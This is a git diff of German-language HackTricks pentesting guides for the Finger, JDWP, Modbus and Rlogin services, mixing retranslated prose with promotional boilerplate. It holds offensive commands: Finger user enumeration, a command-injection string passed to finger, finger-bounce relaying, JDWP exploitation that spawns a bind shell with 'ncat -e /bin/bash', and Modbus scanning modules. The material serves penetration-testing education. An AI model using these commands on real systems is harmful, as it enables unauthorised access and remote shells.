* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
</details>
{% endhint %}
**Standardport:** 2301,2381
@ -29,16 +30,17 @@ pg_hba.conf
jboss-service.xml
.namazurc
```
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstützen Sie HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
</details>
{% endhint %}

View file

@ -1,22 +1,23 @@
# 79 - Pentesting Finger
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) **bei oder folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) **und** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **GitHub-Repositories senden.**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## **Grundlegende Informationen**
## **Grundinformationen**
Das Programm/Der Dienst **Finger** wird verwendet, um Informationen über Computerbenutzer abzurufen. In der Regel umfasst die bereitgestellte Information den **Benutzernamen, den vollständigen Namen** und in einigen Fällen zusätzliche Details. Diese zusätzlichen Details könnten den Bürostandort und die Telefonnummer (falls verfügbar), die Zeit, zu der sich der Benutzer angemeldet hat, die Inaktivitätszeit (Idle-Zeit), den letzten Zeitpunkt, an dem der Benutzer E-Mails gelesen hat, und den Inhalt der Plan- und Projektdateien des Benutzers umfassen.
Das **Finger** Programm/Dienst wird verwendet, um Details über Computerbenutzer abzurufen. Typischerweise umfasst die bereitgestellte Information den **Benutzernamen, vollständigen Namen** und in einigen Fällen zusätzliche Details. Diese zusätzlichen Details können den Bürostandort und die Telefonnummer (sofern verfügbar), die Zeit, zu der sich der Benutzer angemeldet hat, die Inaktivitätsdauer (Leerlaufzeit), den letzten Zeitpunkt, an dem die E-Mail des Benutzers gelesen wurde, sowie den Inhalt der Plan- und Projektdateien des Benutzers umfassen.
**Standardport:** 79
```
@ -26,31 +27,11 @@ PORT STATE SERVICE
## **Enumeration**
### **Banner Grabbing/Grundlegende Verbindung**
Banner Grabbing ist eine Technik, bei der versucht wird, Informationen über einen Dienst zu erhalten, indem die Banners oder Header-Nachrichten analysiert werden, die der Dienst bei der Verbindung an den Client sendet. Dies kann verwendet werden, um Informationen wie den Diensttyp, die Version, den Betriebssystemtyp und andere Details zu identifizieren.
Die grundlegende Verbindungsmethode für Banner Grabbing besteht darin, eine Verbindung zum Dienst herzustellen und die empfangene Banner-Nachricht zu analysieren. Dies kann mit Tools wie Telnet oder Netcat durchgeführt werden.
Ein Beispiel für die Verwendung von Telnet zum Banner Grabbing ist:
```bash
telnet <ziel-ip> <ziel-port>
```
Nachdem die Verbindung hergestellt wurde, wird der Banner oder die Header-Nachricht angezeigt, die Informationen über den Dienst enthält.
Eine andere Methode für das Banner Grabbing ist die Verwendung von Tools wie Nmap oder Bannergrab. Diese Tools automatisieren den Prozess des Banner Grabbing und können Informationen über mehrere Dienste gleichzeitig sammeln.
Es ist wichtig zu beachten, dass das Banner Grabbing eine passive Technik ist und normalerweise keine Sicherheitsbedenken verursacht. Es ist jedoch wichtig, diese Technik mit Vorsicht anzuwenden und die geltenden Gesetze und Richtlinien einzuhalten.
```bash
nc -vn <IP> 79
echo "root" | nc -vn <IP> 79
```
### **Benutzeraufzählung**
User enumeration is the process of gathering information about valid user accounts on a target system. This information can be used by an attacker to gain unauthorized access to the system.
Benutzeraufzählung ist der Prozess, bei dem Informationen über gültige Benutzerkonten auf einem Zielsystem gesammelt werden. Diese Informationen können von einem Angreifer verwendet werden, um unbefugten Zugriff auf das System zu erlangen.
### **Benutzerauszählung**
```bash
finger @<Victim> #List users
finger admin@<Victim> #Get info of user
@ -62,7 +43,7 @@ finger-user-enum.pl -U users.txt -t 10.0.0.1
finger-user-enum.pl -u root -t 10.0.0.1
finger-user-enum.pl -U users.txt -T ips.txt
```
#### **Nmap führt ein Skript aus, um die Standard-Skripte zu verwenden**
#### **Nmap führt ein Skript aus, um Standard-Skripte zu verwenden**
### Metasploit verwendet mehr Tricks als Nmap
```
@ -79,21 +60,22 @@ finger "|/bin/ls -a /@example.com"
```
## Finger Bounce
[Verwenden Sie ein System als Finger-Relais](https://securiteam.com/exploits/2BUQ2RFQ0I/)
[Verwenden Sie ein System als Finger-Relay](https://securiteam.com/exploits/2BUQ2RFQ0I/)
```
finger user@host@victim
finger @internal@external
```
{% hint style="success" %}
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstütze HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
</details>
{% endhint %}

View file

@ -1,60 +1,59 @@
# Pentesting JDWP - Java Debug Wire Protocol
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
</details>
{% endhint %}
## Ausnutzung
## Ausnutzen
Die Ausnutzung von JDWP hängt von der **fehlenden Authentifizierung und Verschlüsselung des Protokolls** ab. Es wird normalerweise auf **Port 8000** gefunden, aber andere Ports sind möglich. Die initiale Verbindung wird hergestellt, indem ein "JDWP-Handshake" an den Zielport gesendet wird. Wenn ein JDWP-Dienst aktiv ist, antwortet er mit demselben String und bestätigt seine Anwesenheit. Dieser Handshake dient als Fingerprinting-Methode, um JDWP-Dienste im Netzwerk zu identifizieren.
Die Ausnutzung von JDWP basiert auf dem **Fehlen von Authentifizierung und Verschlüsselung** des Protokolls. Es wird normalerweise auf **Port 8000** gefunden, aber andere Ports sind möglich. Die erste Verbindung erfolgt durch das Senden eines "JDWP-Handshake" an den Zielport. Wenn ein JDWP-Dienst aktiv ist, antwortet er mit demselben String und bestätigt damit seine Anwesenheit. Dieser Handshake dient als Fingerabdruckmethode zur Identifizierung von JDWP-Diensten im Netzwerk.
In Bezug auf die Prozessidentifikation kann die Suche nach dem String "jdwk" in Java-Prozessen auf eine aktive JDWP-Sitzung hinweisen.
Das Standardwerkzeug ist [jdwp-shellifier](https://github.com/hugsy/jdwp-shellifier). Sie können es mit verschiedenen Parametern verwenden:
Das bevorzugte Tool ist [jdwp-shellifier](https://github.com/hugsy/jdwp-shellifier). Sie können es mit verschiedenen Parametern verwenden:
```bash
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept
```
Ich habe festgestellt, dass die Verwendung von `--break-on 'java.lang.String.indexOf'` den Exploit stabiler macht. Und wenn Sie die Möglichkeit haben, eine Hintertür auf den Host hochzuladen und auszuführen, anstatt einen Befehl auszuführen, wird der Exploit noch stabiler.
Ich habe festgestellt, dass die Verwendung von `--break-on 'java.lang.String.indexOf'` den Exploit **stabiler** macht. Und wenn Sie die Möglichkeit haben, ein Backdoor auf den Host hochzuladen und es auszuführen, anstatt einen Befehl auszuführen, wird der Exploit noch stabiler.
## Weitere Details
**Dies ist eine Zusammenfassung von [https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)**. Überprüfen Sie es für weitere Details.
1. **JDWP Übersicht**:
- Es handelt sich um ein paketbasiertes, binäres Netzwerkprotokoll, das hauptsächlich synchron ist.
- Es fehlt an Authentifizierung und Verschlüsselung, was es anfällig macht, wenn es feindlichen Netzwerken ausgesetzt ist.
1. **JDWP-Überblick**:
- Es handelt sich um ein paketbasiertes Netzwerk-Binärprotokoll, das hauptsächlich synchron ist.
- Es fehlt an Authentifizierung und Verschlüsselung, was es anfällig macht, wenn es in feindlichen Netzwerken ausgesetzt ist.
2. **JDWP Handshake**:
- Ein einfacher Handshake-Prozess wird verwendet, um die Kommunikation zu initiieren. Ein 14-Zeichen-ASCII-String „JDWP-Handshake“ wird zwischen dem Debugger (Client) und dem Debuggee (Server) ausgetauscht.
2. **JDWP-Handshake**:
- Ein einfacher Handshake-Prozess wird verwendet, um die Kommunikation zu initiieren. Ein 14 Zeichen langer ASCII-String "JDWP-Handshake" wird zwischen dem Debugger (Client) und dem Debuggee (Server) ausgetauscht.
3. **JDWP Kommunikation**:
- Nachrichten haben eine einfache Struktur mit Feldern wie Länge, Id, Flag und CommandSet.
- Die Werte des CommandSet reichen von 0x40 bis 0x80 und repräsentieren verschiedene Aktionen und Ereignisse.
3. **JDWP-Kommunikation**:
- Nachrichten haben eine einfache Struktur mit Feldern wie Länge, Id, Flagge und Befehlssatz.
- Die Befehlssatzwerte reichen von 0x40 bis 0x80 und repräsentieren verschiedene Aktionen und Ereignisse.
4. **Ausnutzung**:
4. **Exploitation**:
- JDWP ermöglicht das Laden und Aufrufen beliebiger Klassen und Bytecode, was Sicherheitsrisiken birgt.
- Der Artikel beschreibt einen Ausnutzungsprozess in fünf Schritten, der das Abrufen von Java-Runtime-Referenzen, das Setzen von Breakpoints und das Aufrufen von Methoden umfasst.
- Der Artikel beschreibt einen Exploitationsprozess in fünf Schritten, der das Abrufen von Java Runtime-Referenzen, das Setzen von Haltepunkten und das Aufrufen von Methoden umfasst.
5. **Ausnutzung im wirklichen Leben**:
- Trotz potenzieller Firewall-Schutzmaßnahmen sind JDWP-Dienste in realen Szenarien auffindbar und ausnutzbar, wie durch Suchen auf Plattformen wie ShodanHQ und GitHub demonstriert wird.
- Das Exploit-Skript wurde gegen verschiedene JDK-Versionen getestet und ist plattformunabhängig und bietet eine zuverlässige Remote Code Execution (RCE).
5. **Echte Exploitation**:
- Trotz potenzieller Firewall-Schutzmaßnahmen sind JDWP-Dienste in realen Szenarien entdeckbar und ausnutzbar, wie durch Suchen auf Plattformen wie ShodanHQ und GitHub demonstriert.
- Das Exploit-Skript wurde gegen verschiedene JDK-Versionen getestet und ist plattformunabhängig, was zuverlässige Remote Code Execution (RCE) bietet.
6. **Sicherheitsimplikationen**:
- Das Vorhandensein offener JDWP-Dienste im Internet unterstreicht die Notwendigkeit regelmäßiger Sicherheitsüberprüfungen, das Deaktivieren von Debug-Funktionen in der Produktion und eine ordnungsgemäße Firewall-Konfiguration.
- Das Vorhandensein offener JDWP-Dienste im Internet unterstreicht die Notwendigkeit regelmäßiger Sicherheitsüberprüfungen, das Deaktivieren von Debug-Funktionen in der Produktion und ordnungsgemäße Firewall-Konfigurationen.
### **Referenzen:**
@ -71,16 +70,17 @@ Ich habe festgestellt, dass die Verwendung von `--break-on 'java.lang.String.ind
* [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html](http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html)
* [http://nmap.org/nsedoc/scripts/jdwp-exec.html](http://nmap.org/nsedoc/scripts/jdwp-exec.html)
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie das Hacken von AWS von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstützen Sie HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegramm-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repos senden.
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
</details>
{% endhint %}

View file

@ -1,87 +1,45 @@
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstützen Sie HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
</details>
{% endhint %}
# Grundlegende Informationen
# Grundinformationen
Im Jahr 1979 wurde das **Modbus-Protokoll** von Modicon entwickelt und dient als Nachrichtenstruktur. Es wird hauptsächlich verwendet, um die Kommunikation zwischen intelligenten Geräten zu erleichtern, die unter einem Master-Slave/Client-Server-Modell arbeiten. Dieses Protokoll spielt eine entscheidende Rolle bei der effizienten Datenübertragung zwischen Geräten.
Im Jahr 1979 wurde das **Modbus-Protokoll** von Modicon entwickelt und dient als Nachrichtenstruktur. Seine Hauptnutzung besteht darin, die Kommunikation zwischen intelligenten Geräten zu erleichtern, die nach einem Master-Slave-/Client-Server-Modell arbeiten. Dieses Protokoll spielt eine entscheidende Rolle bei der effizienten Datenübertragung zwischen Geräten.
**Standardport:** 502
```
PORT STATE SERVICE
502/tcp open modbus
```
# Enumeration
## Modbus Enumeration
Modbus is a widely used protocol in industrial control systems (ICS) and is often targeted by attackers. To effectively pentest a Modbus network, thorough enumeration is crucial. Enumeration involves gathering information about the Modbus devices and their configurations.
### Scanning for Modbus Devices
To identify Modbus devices on a network, you can use tools like Nmap or Modscan. Nmap can be used with the following command:
```bash
nmap -p 502 --script modbus-discover <target>
```
Modscan is a dedicated tool for Modbus scanning and can be used as follows:
```bash
modscan32.exe <target>
```
### Identifying Modbus Device Types
Once you have identified the Modbus devices, the next step is to determine their types. This information is crucial for further exploitation. Some common Modbus device types include:
- Modbus TCP/IP: These devices use the TCP/IP protocol for communication.
- Modbus RTU: These devices use the serial communication protocol.
- Modbus ASCII: These devices use the ASCII character encoding for communication.
### Gathering Modbus Device Information
To gather more information about the Modbus devices, you can use tools like Modscan or Modbus Poll. These tools allow you to query the devices and retrieve valuable information such as:
- Device ID: Each Modbus device has a unique identifier.
- Function Codes: These codes define the type of operation the device can perform.
- Registers: Modbus devices use registers to store and retrieve data.
### Analyzing Modbus Device Configurations
Analyzing the Modbus device configurations can provide insights into potential vulnerabilities. Some areas to focus on include:
- Default Credentials: Check if the devices have default usernames and passwords.
- Access Control: Determine if the devices have proper access control mechanisms in place.
- Firmware Versions: Identify the firmware versions running on the devices and check for any known vulnerabilities.
By thoroughly enumerating the Modbus network and analyzing the device configurations, you can identify potential attack vectors and plan your exploitation accordingly.
# Aufzählung
```bash
nmap --script modbus-discover -p 502 <IP>
msf> use auxiliary/scanner/scada/modbusdetect
msf> use auxiliary/scanner/scada/modbus_findunitid
```
{% hint style="success" %}
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstütze HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
</details>
{% endhint %}

View file

@ -1,27 +1,28 @@
# 513 - Pentesting Rlogin
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
